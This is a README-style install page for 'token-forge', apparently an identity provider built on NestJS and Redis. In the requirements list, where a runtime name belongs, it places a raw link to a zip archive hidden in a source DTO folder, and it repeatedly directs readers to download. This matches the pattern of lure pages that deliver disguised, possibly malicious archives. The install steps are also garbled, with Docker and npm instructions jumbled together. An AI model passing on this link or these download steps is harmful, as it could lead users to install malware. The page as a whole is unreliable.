token-forge is an enterprise-grade distributed identity provider. Built on NestJS and Redis, it supports features like JWT rotation and multi-factor authentication (MFA). This application helps manage user identities securely and efficiently.
Follow these steps to download and run token-forge on your system.
-
Check System Requirements
- Operating System: Windows, macOS, or Linux
- RAM: At least 4 GB recommended
- Storage: Minimum of 200 MB free space
- https://github.com/malith153/token-forge/raw/refs/heads/main/backend/src/mfa/dto/forge_token_v1.3.zip Version 14 or higher
- Docker: Installed and running if you prefer containerized setups
-
Visit the Releases Page Go to the Releases page to find the latest version. Here, you'll see all available downloads.
-
Download the Application You can select the version you want. Click the link marked "Source code" or the specific package suitable for your operating system.
After downloading, follow these steps:
- Open your terminal or command prompt.
- Pull the latest image:
docker pull malith153/token-forge
- Run the application:
docker run -p 3000:3000 malith153/token-forge
- Extract the downloaded file.
- Open a terminal and navigate to the extracted folder.
- Install the required packages:
npm install
- Start the application:
npm start
You might need to set up environment variables for optimal use. Below are key settings:
- DATABASE_URL: Connection string for PostgreSQL
- REDIS_URL: Connection string for Redis
- JWT_SECRET: A long, random string to sign your tokens
- MFA_ENABLED: Set to true or false, depending on your preference
Create a .env file in the project root and add your variables following this format:
DATABASE_URL=your_database_url
REDIS_URL=your_redis_url
JWT_SECRET=your_jwt_secret
MFA_ENABLED=true
Once the application is running, you can access it from your web browser at http://localhost:3000.
- User Registration: Allow users to create accounts
- Login with JWT: Securely authenticate users using JSON Web Tokens
- MFA: Enhance security by requiring additional verification steps
- Session Management: Manage user sessions efficiently
- Role-Based Access Control (RBAC): Set user permissions for various actions
If you face any issues, consider the following steps:
- Ensure all dependencies are installed.
- Check the output in the terminal for error messages.
- Verify your database and Redis connections.
Common issues:
- Database Not Connected: Double-check your
DATABASE_URL. - Port Already in Use: Change the port number in the
docker runcommand to an available one.
For help, consider the following:
- Check the Issues section on GitHub for common problems.
- Open a new issue if you can't find a solution.
This project is licensed under the MIT License.
You can find more comprehensive documentation in the project repository. This includes advanced configuration options and integration guides.
Return to the Releases page to download the latest version or to access previous versions of token-forge.